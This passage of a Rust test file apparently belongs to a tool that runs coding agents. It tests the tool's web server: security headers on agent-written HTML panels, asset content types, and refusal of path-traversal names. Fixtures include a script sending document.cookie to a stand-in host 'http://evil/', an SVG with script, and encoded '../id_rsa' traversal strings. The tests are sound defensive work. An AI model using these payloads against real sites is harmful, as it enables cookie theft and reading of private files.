10765    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
10766    /// be read to end-of-stream without parsing framing.
10767    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
10768        request_with(addr, method, path, body, &[]).await
10769    }
10770
10771    /// As [`request`], with extra request headers - conditional GETs need
10772    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
10773    /// worse than one that sets none.
10774    async fn request_with(
10775        addr: SocketAddr,
10776        method: &str,
10777        path: &str,
10778        body: Option<&str>,
10779        extra: &[(&str, &str)],
10780    ) -> Res {
10781        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
10782        for (name, value) in extra {
10783            head.push_str(&format!("{name}: {value}\r\n"));
10784        }
10785        if let Some(body) = body {
10786            head.push_str("Content-Type: application/json\r\n");
10787            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
10788        }
10789        head.push_str("\r\n");
10790        if let Some(body) = body {
10791            head.push_str(body);
10792        }
10793        let mut socket = tokio::net::TcpStream::connect(addr)
10794            .await
10795            .expect("connect to the test server");
10796        socket
10797            .write_all(head.as_bytes())
10798            .await
10799            .expect("write request");
10800        let mut raw = Vec::new();
10801        socket.read_to_end(&mut raw).await.expect("read response");
10802        // Split on the raw bytes rather than on a lossy string, so a binary
10803        // body survives to be compared byte for byte.
10804        let split = raw
10805            .windows(4)
10806            .position(|w| w == b"\r\n\r\n")
10807            .expect("a header block");
10808        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
10809        let bytes = raw[split + 4..].to_vec();
10810        let status = head
10811            .lines()
10812            .next()
10813            .and_then(|line| line.split_whitespace().nth(1))
10814            .and_then(|code| code.parse().ok())
10815            .expect("a status line");
10816        Res {
10817            status,
10818            headers: head.to_lowercase(),
10819            head,
10820            body: String::from_utf8_lossy(&bytes).into_owned(),
10821            bytes,
10822        }
10823    }
10824
10825    /// A `POST` carrying a raw binary body and its own headers, for the
10826    /// attachment upload route - `request_with` only ever sends
10827    /// `Content-Type: application/json`, which is wrong for an image and
10828    /// would corrupt anything not valid UTF-8 by round-tripping it through
10829    /// `&str` first.
10830    async fn request_bytes(
10831        addr: SocketAddr,
10832        path: &str,
10833        headers: &[(&str, &str)],
10834        body: &[u8],
10835    ) -> Res {
10836        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
10837        for (name, value) in headers {
10838            head.push_str(&format!("{name}: {value}\r\n"));
10839        }
10840        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
10841        let mut socket = tokio::net::TcpStream::connect(addr)
10842            .await
10843            .expect("connect to the test server");
10844        socket
10845            .write_all(head.as_bytes())
10846            .await
10847            .expect("write request head");
10848        socket.write_all(body).await.expect("write request body");
10849        let mut raw = Vec::new();
10850        socket.read_to_end(&mut raw).await.expect("read response");
10851        let split = raw
10852            .windows(4)
10853            .position(|w| w == b"\r\n\r\n")
10854            .expect("a header block");
10855        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
10856        let bytes = raw[split + 4..].to_vec();
10857        let status = head
10858            .lines()
10859            .next()
10860            .and_then(|line| line.split_whitespace().nth(1))
10861            .and_then(|code| code.parse().ok())
10862            .expect("a status line");
10863        Res {
10864            status,
10865            headers: head.to_lowercase(),
10866            head,
10867            body: String::from_utf8_lossy(&bytes).into_owned(),
10868            bytes,
10869        }
10870    }
10871
10872    /// A run on disk, without touching the process-global magi home.
10873    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
10874        let mut state = RunState::new(
10875            PathBuf::from("/repo/magi"),
10876            "main".to_owned(),
10877            "0123456789abcdef".to_owned(),
10878            "Add a web UI\n\nMobile first.".to_owned(),
10879            Config::default(),
10880        );
10881        state.id = id.to_owned();
10882        state.status = status;
10883        let dir = runs.join(id);
10884        std::fs::create_dir_all(&dir).expect("run dir");
10885        std::fs::write(
10886            dir.join("run.json"),
10887            serde_json::to_string_pretty(&state).expect("serialize run"),
10888        )
10889        .expect("write run.json");
10890    }
10891
10892    /// Same as [`write_run`], but against a named repository rather than the
10893    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
10894    /// spread across more than one.
10895    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
10896        let mut state = RunState::new(
10897            PathBuf::from(repo),
10898            "main".to_owned(),
10899            "0123456789abcdef".to_owned(),
10900            "task".to_owned(),
10901            Config::default(),
10902        );
10903        state.id = id.to_owned();
10904        state.status = status;
10905        let dir = runs.join(id);
10906        std::fs::create_dir_all(&dir).expect("run dir");
10907        std::fs::write(
10908            dir.join("run.json"),
10909            serde_json::to_string_pretty(&state).expect("serialize run"),
10910        )
10911        .expect("write run.json");
10912    }
10913
10914    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
10915        let body = serde_json::json!({
10916            "schema": 1,
10917            "pid": 4242,
10918            "started_at": Timestamp::now().to_string(),
10919            "updated_at": updated_at.to_string(),
10920            "idle": false,
10921            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
10922            "completed": 7,
10923            "polls": 143,
10924        });
10925        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
10926    }
10927
10928    /// A loop that starts, finds nothing to do, and waits to be told to stop.
10929    ///
10930    /// No test in this file may start the real loop - see [`Ui::launch`] for
10931    /// why - so this stands in for the only thing the routes need a loop to
10932    /// do: keep running until `Stop` is set, then return. A real
10933    /// `serve_until` here would resolve its queue and its status file through
10934    /// the process-global magi home, claim whatever it found in the
10935    /// operator's live backlog, overwrite the status file of the `magi serve`
10936    /// that owns it, and spend real agent quota on a real competition.
10937    fn launch_idle(
10938        _opts: daemon::Opts,
10939        stop: daemon::Stop,
10940    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10941        Box::pin(async move {
10942            while !stop.stopped() {
10943                tokio::time::sleep(Duration::from_millis(2)).await;
10944            }
10945            Ok(())
10946        })
10947    }
10948
10949    /// A loop that fails on the way up, the way one whose home has gone
10950    /// read-only does.
10951    fn launch_broken(
10952        _opts: daemon::Opts,
10953        _stop: daemon::Stop,
10954    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10955        // The stand-in dies instantly, so a restarted one can record its own
10956        // failure before the start's response is read. The second attempt
10957        // therefore fails with a different message, to tell a stale error
10958        // from a fresh one.
10959        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
10960        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
10961        Box::pin(async move {
10962            Err(anyhow::anyhow!(if first {
10963                "publish the daemon status file: read-only file system"
10964            } else {
10965                "the restarted stand-in failed as well"
10966            }))
10967        })
10968    }
10969
10970    /// The address the parking loop knocks on, and what it heard there.
10971    ///
10972    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
10973    /// capture a fixture's address; this is how it is handed one. Only
10974    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
10975    /// these, so nothing else in this binary can race them.
10976    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
10977    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
10978
10979    /// A loop that, once it is asked to stop, checks the deck still answers
10980    /// before it goes.
10981    ///
10982    /// It stands in for a run mid-node: `finish_loop` waits for this future,
10983    /// so the request it makes is strictly inside the park window - no sleep
10984    /// and no polling needed to be sure of that.
10985    fn launch_knocking_on_the_way_out(
10986        _opts: daemon::Opts,
10987        stop: daemon::Stop,
10988    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10989        Box::pin(async move {
10990            while !stop.stopped() {
10991                tokio::time::sleep(Duration::from_millis(2)).await;
10992            }
10993            let addr = PARK_KNOCK
10994                .lock()
10995                .expect("park knock")
10996                .expect("the test set an address");
10997            let heard = request(addr, "GET", "/api/health", None).await.status;
10998            *PARK_HEARD.lock().expect("park heard") = Some(heard);
10999            Ok(())
11000        })
11001    }
11002
11003    /// The loop view once `want` accepts it.
11004    ///
11005    /// Polled rather than asserted straight after the POST because stopping
11006    /// is deliberately not instant - that is the contract - and rather than
11007    /// slept through because a fixed wait is either flaky or slow.
11008    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
11009    /// finite, so a genuine hang fails the test instead of hanging the
11010    /// suite.
11011    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
11012        for _ in 0..SETTLE_STEPS {
11013            let view = fx.get("/api/loop").await.json();
11014            if want(&view) {
11015                return view;
11016            }
11017            tokio::time::sleep(Duration::from_millis(10)).await;
11018        }
11019        panic!(
11020            "the loop never settled: {}",
11021            fx.get("/api/loop").await.json()
11022        );
11023    }
11024
11025    /// File an open question directly in the store the server reads.
11026    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
11027        let store = fx.questions();
11028        let mut q = Question::new(
11029            "20260902-000000-beef".to_owned(),
11030            "implement".to_owned(),
11031            "impl-A".to_owned(),
11032            summary.to_owned(),
11033            "because it matters".to_owned(),
11034            choices.iter().map(|c| (*c).to_owned()).collect(),
11035        );
11036        store.put(&mut q).expect("put question");
11037        q.id
11038    }
11039
11040    /// A question with a panel the server can serve, plus the named assets.
11041    ///
11042    /// Written through `Questions::put_panel` rather than by laying out the
11043    /// directory here, so these tests exercise the same on-disk shape the
11044    /// agents produce and cannot pass against a layout only the tests know.
11045    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
11046        let store = fx.questions();
11047        let mut q = Question::new(
11048            "20260902-000000-beef".to_owned(),
11049            "land".to_owned(),
11050            "fix".to_owned(),
11051            "Merge this?".to_owned(),
11052            "the diff is in the panel".to_owned(),
11053            vec!["merge".to_owned(), "hold".to_owned()],
11054        );
11055        // Staged outside the questions root, because `put_panel` copies from
11056        // wherever the agent left its files.
11057        let staging = fx.home.path().join("staging");
11058        std::fs::create_dir_all(&staging).expect("staging dir");
11059        let sources: Vec<PathBuf> = assets
11060            .iter()
11061            .map(|(name, bytes)| {
11062                let path = staging.join(name);
11063                std::fs::write(&path, bytes).expect("write staged asset");
11064                path
11065            })
11066            .collect();
11067        store
11068            .put_panel(&mut q, html, &sources)
11069            .expect("write the panel");
11070        store.put(&mut q).expect("put question");
11071        q.id
11072    }
11073
11074    /// A talk on disk, without talking to a model.
11075    ///
11076    /// Written as JSON straight into the store the server reads, because the
11077    /// only constructor `talk::begin` offers takes no turn but still requires
11078    /// a real caller-visible flow. The one thing this cannot make up is the
11079    /// seat, so it is built with the real `SeatState::new` and serialized -
11080    /// the alternative, hand-writing that object, would make these tests fail
11081    /// the day the seat gains a field.
11082    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
11083        seed_talk_at(&fx.talks(), id, status)
11084    }
11085
11086    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
11087        std::fs::create_dir_all(store.root()).expect("talks dir");
11088        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
11089            .expect("serialize a seat");
11090        let body = serde_json::json!({
11091            "schema": 1,
11092            "id": id,
11093            "repo": "/repo/magi",
11094            "agent": "mock",
11095            "status": status,
11096            "turns": [],
11097            "created_at": Timestamp::now().to_string(),
11098            "updated_at": Timestamp::now().to_string(),
11099            "seat": seat,
11100        });
11101        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
11102        store.get(id).expect("the seeded talk has to be readable");
11103        id.to_owned()
11104    }
11105
11106    #[tokio::test]
11107    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
11108        let fx = Fixture::start().await;
11109        let id = panel(
11110            &fx,
11111            "<h1>Merge?</h1><img src=\"diff.svg\">",
11112            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
11113        );
11114
11115        for path in [
11116            format!("/api/questions/{id}/panel"),
11117            format!("/api/questions/{id}/asset/diff.svg"),
11118        ] {
11119            let res = fx.get(&path).await;
11120            assert_eq!(res.status, 200, "{path}: {}", res.body);
11121            // The whole string, not a substring. A weakened directive - an
11122            // `img-src *` that lets a panel beacon out to a remote host, a
11123            // `script-src` anything, a missing `form-action` that lets it post
11124            // the owner's decision to a third party - has to fail here, and a
11125            // `contains` assertion would let every one of those through.
11126            assert_eq!(
11127                res.header("content-security-policy"),
11128                Some(
11129                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
11130                     font-src data:; base-uri 'none'; form-action 'none'; \
11131                     frame-ancestors 'self'"
11132                ),
11133                "{path} is the only thing between a hostile panel and the tailnet"
11134            );
11135            assert_eq!(
11136                res.header("x-content-type-options"),
11137                Some("nosniff"),
11138                "{path}: a browser must not re-decide the type we sent"
11139            );
11140            assert_eq!(
11141                res.header("referrer-policy"),
11142                Some("no-referrer"),
11143                "{path}: a panel must not leak the question id off the machine"
11144            );
11145
11146            // The front end mounts the frame only after a `HEAD` says the
11147            // panel is there, so `HEAD` has to answer with the same status and
11148            // the same policy as `GET` - a preflight that came back without
11149            // the CSP would mean a frame mounted on an unverified promise.
11150            let pre = fx.head(&path).await;
11151            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
11152            assert_eq!(
11153                pre.header("content-security-policy"),
11154                res.header("content-security-policy"),
11155                "{path}: the preflight carries the same policy"
11156            );
11157            assert_eq!(
11158                pre.header("content-type"),
11159                res.header("content-type"),
11160                "{path}: the preflight carries the same type"
11161            );
11162        }
11163    }
11164
11165    #[tokio::test]
11166    async fn a_panel_reaches_the_browser_byte_for_byte() {
11167        let fx = Fixture::start().await;
11168        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
11169        // tag, an entity, and a multi-byte character. The sandbox is what makes
11170        // this safe, so nothing here may be rewritten on the way out - a
11171        // rewritten diff is a diff the owner cannot trust.
11172        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
11173        let id = panel(&fx, html, &[]);
11174
11175        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
11176
11177        assert_eq!(res.status, 200);
11178        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
11179        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
11180        assert_eq!(
11181            res.header("content-disposition"),
11182            None,
11183            "the panel itself is rendered in the frame, not downloaded"
11184        );
11185    }
11186
11187    #[tokio::test]
11188    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
11189        let fx = Fixture::start().await;
11190        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
11191        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
11192        let id = panel(
11193            &fx,
11194            "<img src=\"diff.svg\"><img src=\"shot.png\">",
11195            &[("diff.svg", svg), ("shot.png", png)],
11196        );
11197
11198        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
11199        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
11200
11201        assert_eq!(as_svg.status, 200);
11202        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
11203        // An SVG is XML that may carry script. Inside the panel it is an
11204        // `<img src>` and the script cannot run; opened at the top level it
11205        // would be a document on magi's own origin, so the browser is told to
11206        // download it instead of rendering it.
11207        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
11208
11209        assert_eq!(as_png.status, 200);
11210        assert_eq!(as_png.header("content-type"), Some("image/png"));
11211        assert_eq!(
11212            as_png.header("content-disposition"),
11213            None,
11214            "a raster image has no execution surface, so tapping it still shows it"
11215        );
11216        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
11217    }
11218
11219    #[tokio::test]
11220    async fn an_html_asset_is_never_served_as_html() {
11221        let fx = Fixture::start().await;
11222        let id = panel(
11223            &fx,
11224            "<p>see the notes</p>",
11225            &[
11226                (
11227                    "notes.html",
11228                    b"<script>fetch('http://evil/'+document.cookie)</script>",
11229                ),
11230                ("hook.js", b"fetch('http://evil/')"),
11231                ("data.json", b"{}"),
11232                ("HEADLINE.TXT", b"plain"),
11233            ],
11234        );
11235
11236        for name in ["notes.html", "hook.js", "data.json"] {
11237            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
11238            assert_eq!(res.status, 200, "{name}: {}", res.body);
11239            // Serving this as text/html would be a way to reach agent markup
11240            // at the top level of the operator's browser, outside the frame's
11241            // sandbox and outside its CSP - which is the whole thing the panel
11242            // design exists to prevent. Unlisted types are downloads.
11243            assert_eq!(
11244                res.header("content-type"),
11245                Some("application/octet-stream"),
11246                "{name} must not be a type the browser will execute or render"
11247            );
11248        }
11249        // The whitelist is matched case-insensitively, so an agent shouting the
11250        // extension still gets a readable file rather than a download.
11251        let txt = fx
11252            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
11253            .await;
11254        assert_eq!(
11255            txt.header("content-type"),
11256            Some("text/plain; charset=utf-8")
11257        );
11258    }
11259
11260    #[tokio::test]
11261    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
11262        let fx = Fixture::start().await;
11263        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11264        // Something outside the panel directory that a traversal would reach if
11265        // one got through, so a passing test is not merely "the file was
11266        // missing anyway".
11267        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
11268
11269        // Decoded before this server's handler sees them: axum percent-decodes
11270        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
11271        // string with a NUL in it. All three look like ordinary single-segment
11272        // filenames to the router, so the router passes them through and
11273        // `valid_asset_name` is what refuses them - for the literal `..`, and
11274        // for `/`, `\` and NUL not being in the permitted character set.
11275        for encoded in [
11276            "%2e%2e%2fid_rsa",
11277            "..%2fid_rsa",
11278            "..%5cid_rsa",
11279            "%2e%2e%5cid_rsa",
11280            "diff%00.svg",
11281            "..",
11282            ".hidden",
11283            "%2e%2e%2f%2e%2e%2fid_rsa",
11284        ] {
11285            let res = fx
11286                .get(&format!("/api/questions/{id}/asset/{encoded}"))
11287                .await;
11288            assert_eq!(
11289                res.status, 400,
11290                "`{encoded}` has to be refused by name, not looked up: {}",
11291                res.body
11292            );
11293            assert!(res.json()["error"].is_string(), "{}", res.body);
11294        }
11295
11296        // Not decoded, and never this handler's problem: a real slash makes the
11297        // request one segment too long for `/api/questions/{id}/asset/{name}`,
11298        // so axum's router has no route to match and answers before any code
11299        // here runs. Asserted so that a future route with a wildcard segment
11300        // cannot quietly open this door.
11301        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
11302            let res = fx
11303                .get(&format!("/api/questions/{id}/asset/{literal}"))
11304                .await;
11305            assert_eq!(
11306                res.status, 404,
11307                "`{literal}` must not match the asset route at all: {}",
11308                res.body
11309            );
11310        }
11311    }
11312
11313    #[tokio::test]
11314    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
11315        let fx = Fixture::start().await;
11316        let plain = ask(&fx, "Which backend?", &["SQLite"]);
11317        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11318
11319        // A question nobody wrote a panel for. The client preflights with HEAD
11320        // and cannot see inside a sandboxed frame, so this must be a status and
11321        // not an empty page.
11322        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
11323        assert_eq!(none.status, 404, "{}", none.body);
11324        assert!(none.json()["error"].is_string(), "{}", none.body);
11325        assert_eq!(
11326            fx.head(&format!("/api/questions/{plain}/panel"))
11327                .await
11328                .status,
11329            404,
11330            "the preflight is the only way the client can learn this"
11331        );
11332
11333        // A name that is perfectly legal and simply is not there.
11334        let missing = fx
11335            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
11336            .await;
11337        assert_eq!(missing.status, 404, "{}", missing.body);
11338        assert!(missing.json()["error"].is_string(), "{}", missing.body);
11339
11340        // A question that does not exist at all, on both routes.
11341        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
11342        assert_eq!(
11343            fx.get("/api/questions/nope/asset/diff.svg").await.status,
11344            404
11345        );
11346    }
11347
11348    #[tokio::test]
11349    async fn a_run_with_an_open_question_reads_as_waiting() {
11350        let fx = Fixture::start().await;
11351        let run = "20260902-000000-beef".to_owned();
11352        write_run(&fx.runs(), &run, RunStatus::Implementing);
11353
11354        let before = fx.get("/api/runs").await.json();
11355        assert_eq!(before[0]["waiting"], false, "{before}");
11356
11357        let store = fx.questions();
11358        let mut q = Question::new(
11359            run.clone(),
11360            "implement".to_owned(),
11361            "impl-A".to_owned(),
11362            "Which backend?".to_owned(),
11363            String::new(),
11364            vec!["SQLite".to_owned()],
11365        );
11366        store.put(&mut q).expect("put");
11367
11368        let during = fx.get("/api/runs").await.json();
11369        assert_eq!(during[0]["waiting"], true, "{during}");
11370
11371        // Answered: the run is moving again, and the flag has to follow without
11372        // anything having rewritten run.json.
11373        q.answer(Answer::Choice("SQLite".to_owned()))
11374            .expect("answer");
11375        store.put(&mut q).expect("put");
11376        let after = fx.get("/api/runs").await.json();
11377        assert_eq!(after[0]["waiting"], false, "{after}");
11378    }
11379
11380    #[tokio::test]
11381    async fn an_open_question_is_listed_and_counted_by_health() {
11382        let fx = Fixture::start().await;
11383        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11384
11385        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11386        let listed = fx.get("/api/questions").await.json();
11387        assert_eq!(listed.as_array().expect("array").len(), 1);
11388        assert_eq!(listed[0]["id"], id);
11389        assert_eq!(listed[0]["status"], "open");
11390        assert_eq!(listed[0]["choices"][1], "Redis");
11391        // The count is what makes the phone's indicator honest: it is the one
11392        // number meaning nothing will move until a human acts.
11393        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11394    }
11395
11396    fn obsolete_approval_state() -> RunState {
11397        let mut state = crate::land::tests::repair_state(true, true);
11398        state.pr = Some(crate::run::PrRecord {
11399            url: "https://github.com/example/repo/pull/42".into(),
11400            number: 42,
11401            state: "open".into(),
11402            checks: "green".into(),
11403            round: 1,
11404            rounds: 4,
11405            red_at_merge: Vec::new(),
11406        });
11407        state
11408    }
11409
11410    #[tokio::test]
11411    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
11412        for owner in ["missing", "current", "completed", "later"] {
11413            let fx = Fixture {
11414                home: TempDir::new().unwrap(),
11415                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11416            };
11417            let mut state = obsolete_approval_state();
11418            state.status = RunStatus::Landing;
11419            state.parked = true;
11420            state.driver_exited = true;
11421            let mut q = Question::new(
11422                state.id.clone(),
11423                crate::land::APPROVAL_NODE.into(),
11424                "land".into(),
11425                "Old approval".into(),
11426                "Original evidence".into(),
11427                vec!["merge".into(), "hold".into()],
11428            );
11429            state.land_approval = Some(crate::run::LandApproval {
11430                question: q.id.clone(),
11431                head: "head".into(),
11432            });
11433            state.save_under(fx.home.path()).unwrap();
11434            let stale = state.clone();
11435            fx.questions().put(&mut q).unwrap();
11436            let mut task = Task::new(
11437                "Owner".into(),
11438                "Original instruction".into(),
11439                state.repo.clone(),
11440                Source::Human,
11441            );
11442            task.runs.push(state.id.clone());
11443            task.status = if owner == "completed" {
11444                TaskStatus::Done
11445            } else {
11446                TaskStatus::Parked
11447            };
11448            if owner == "later" {
11449                task.runs.push("later-run".into());
11450            }
11451            if owner != "missing" {
11452                fx.queue().put(&mut task).unwrap();
11453            }
11454            let ui = Arc::new(Ui::new(
11455                fx.queue(),
11456                fx.questions(),
11457                fx.talks(),
11458                fx.runs(),
11459                fx.home.path().into(),
11460                state.repo.clone(),
11461            ));
11462            let response = question_answer(
11463                State(ui),
11464                Path(q.id.clone()),
11465                Ok(Json(NewAnswer {
11466                    choice: Some(crate::merge_decision::DISMISS.into()),
11467                    text: None,
11468                })),
11469            )
11470            .await
11471            .unwrap();
11472            assert_eq!(
11473                response.0.question.resolution().as_deref(),
11474                Some(crate::merge_decision::DISMISS)
11475            );
11476            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
11477            assert_eq!(disk.status, RunStatus::Superseded);
11478            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
11479            assert!(!crate::merge_decision::resumable_hold(&disk));
11480            assert_eq!(
11481                serde_json::to_value(&disk.pr).unwrap(),
11482                serde_json::to_value(&stale.pr).unwrap()
11483            );
11484            assert_eq!(fx.questions().count_open(), 0);
11485            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
11486            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11487            if owner == "missing" {
11488                assert!(fx.queue().list().is_empty());
11489            } else {
11490                let after = fx.queue().get(&task.id).unwrap();
11491                assert_eq!(
11492                    after.status,
11493                    if owner == "current" {
11494                        TaskStatus::Done
11495                    } else {
11496                        task.status
11497                    }
11498                );
11499                assert_eq!(after.runs, task.runs);
11500                assert_eq!(after.instruction, task.instruction);
11501                assert_eq!(after.action_applied(&q.id), owner == "current");
11502            }
11503        }
11504    }
11505
11506    #[tokio::test]
11507    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
11508        let fx = Fixture::start().await;
11509        let mut state = obsolete_approval_state();
11510        state.status = RunStatus::Landing;
11511        state.parked = true;
11512        state.driver_exited = true;
11513        let mut q = Question::new(
11514            state.id.clone(),
11515            crate::land::APPROVAL_NODE.into(),
11516            "land".into(),
11517            "Superseded PR approval".into(),
11518            "Original review evidence".into(),
11519            vec!["merge".into(), "hold".into()],
11520        );
11521        state.land_approval = Some(crate::run::LandApproval {
11522            question: q.id.clone(),
11523            head: "old-reviewed-head".into(),
11524        });
11525        // The old persisted PR may still say open even when a separate change
11526        // already landed. Dismissal must not use that snapshot to close it.
11527        state.save_under(fx.home.path()).unwrap();
11528        let stale_driver = state.clone();
11529        fx.questions().put(&mut q).unwrap();
11530        let path = fx
11531            .home
11532            .path()
11533            .join("questions")
11534            .join(format!("{}.json", q.id));
11535        let mut legacy = serde_json::to_value(&q).unwrap();
11536        legacy["schema"] = 9.into();
11537        legacy.as_object_mut().unwrap().remove("merge_target");
11538        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
11539
11540        // POST without GET tests legacy upgrade and validation at the actual
11541        // entry point, rather than constructing a modern card in the test.
11542        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11543        let answer_path = format!("/api/questions/{}/answer", q.id);
11544        let res = fx.post(&answer_path, Some(&body)).await;
11545        assert_eq!(res.status, 200, "{}", res.body);
11546        let disk = fx.questions().get(&q.id).unwrap();
11547        assert_eq!(
11548            disk.resolution().as_deref(),
11549            Some(crate::merge_decision::DISMISS)
11550        );
11551        assert!(disk.detail.starts_with("Original review evidence"));
11552        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
11553        assert_eq!(retired.status, RunStatus::Superseded);
11554        assert_eq!(
11555            serde_json::to_value(&retired.pr).unwrap(),
11556            serde_json::to_value(&state.pr).unwrap()
11557        );
11558        assert!(!retired.merge_decision.as_ref().unwrap().closed);
11559        assert!(!crate::merge_decision::resumable_hold(&retired));
11560        assert!(fx.queue().list().is_empty());
11561        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11562        // A restarted server re-reads the persisted pending list.
11563        let addr = Fixture::serve(
11564            fx.home.path(),
11565            PathBuf::from("/repo/magi"),
11566            launch_idle,
11567            None,
11568        )
11569        .await;
11570        let reconnected = Fixture {
11571            home: fx.home,
11572            addr,
11573        };
11574        let listed = reconnected.get("/api/questions").await.json();
11575        assert!(
11576            listed
11577                .as_array()
11578                .unwrap()
11579                .iter()
11580                .all(|q| q["status"] != "open")
11581        );
11582        assert_eq!(listed[0]["id"], q.id, "history remains available");
11583        assert_eq!(
11584            reconnected.get("/api/health").await.json()["questions_open"],
11585            0
11586        );
11587        assert_eq!(
11588            reconnected
11589                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
11590                .await
11591                .status,
11592            409
11593        );
11594        // A late waiter cannot turn the old answer into a new decision.
11595        assert!(
11596            reconnected
11597                .questions()
11598                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
11599                .is_err()
11600        );
11601        // The same guard used by claims, repair and publication rejects a
11602        // saved in-memory driver as well as the persisted terminal record.
11603        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
11604    }
11605
11606    #[tokio::test]
11607    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
11608        let fx = Fixture::start().await;
11609        let mut state = obsolete_approval_state();
11610        state.status = RunStatus::Landing;
11611        state.driver_exited = true;
11612        let mut q = Question::new(
11613            state.id.clone(),
11614            crate::land::APPROVAL_NODE.into(),
11615            "land".into(),
11616            "Obsolete approval".into(),
11617            String::new(),
11618            vec!["merge".into(), "hold".into()],
11619        );
11620        state.land_approval = Some(crate::run::LandApproval {
11621            question: q.id.clone(),
11622            head: "head".into(),
11623        });
11624        state.save_under(fx.home.path()).unwrap();
11625        fx.questions().put(&mut q).unwrap();
11626        let mut task = Task::new(
11627            "Owner".into(),
11628            "Original instruction".into(),
11629            state.repo.clone(),
11630            Source::Human,
11631        );
11632        task.runs = vec![state.id.clone(), "later-run".into()];
11633        fx.queue().put(&mut task).unwrap();
11634        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
11635        let claim = fx.queue().claim(&task.id).unwrap();
11636        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11637        let path = format!("/api/questions/{}/answer", q.id);
11638        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11639        assert!(fx.questions().get(&q.id).unwrap().status.open());
11640        drop(claim);
11641        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
